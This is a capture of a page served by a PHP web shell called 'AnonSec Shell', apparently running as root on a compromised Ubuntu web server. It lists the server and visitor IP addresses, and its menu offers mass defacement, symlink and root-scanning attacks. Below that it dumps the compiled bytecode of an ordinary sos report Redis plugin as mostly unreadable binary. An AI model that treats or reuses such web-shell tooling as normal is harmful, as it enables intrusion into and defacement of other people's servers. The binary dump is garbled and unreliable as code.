AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/redis.cpython-310.pyc
o

���b��@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�	SCLPluginc@s0eZdZdZdZdZdZdZdd�Zdd	�Z	d
S)�Redisz%Redis, in-memory data structure store�redis)�services)rz
rh-redis32z	rh-redis5z+/var/lib/config-data/puppet-generated/rediscCs�|�d|jd|jd|jdg�|jdd�D]}|�d�d}|�|gd��q|�d	�|�d
�r=|�dg�dS|�dg�dS)
N�/etc/redis.confz/etc/redis*z/etc/redis/z/etc/security/limits.d/�z
rh-redis*-r)rz/etc/redis.conf.puppetz/etc/redis-sentinel.confz/etc/redis-sentinel.conf.puppetz/var/log/redis/sentinel.log�/var/log/redis/redis.logzredis-cli info�all_logsz/var/log/redis/redis.log*r	)�
add_copy_spec�var_puppet_gen�packages�split�add_copy_spec_scl�add_cmd_output�
get_option)�self�pkg�scl�r�:/usr/lib/python3/dist-packages/sos/report/plugins/redis.py�setups"�
	

�
�zRedis.setupcCs@d|jdddfD]}|�|ddd�|�|ddd�q	dS)	Nz/etc/z/etc/opt/rh/rh-redis32/z/etc/opt/rh/rh-redis5/z
redis.confz(masterauth\s).*z
\1********z(requirepass\s).*zrequirepass = ********)r�do_file_sub)r�pathrrr�postproc7s ����zRedis.postprocN)
�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr
rrrrrrrrsrN)�sos.report.pluginsrrrrrrr�<module>s

Anon7 - 2022
AnonSec Team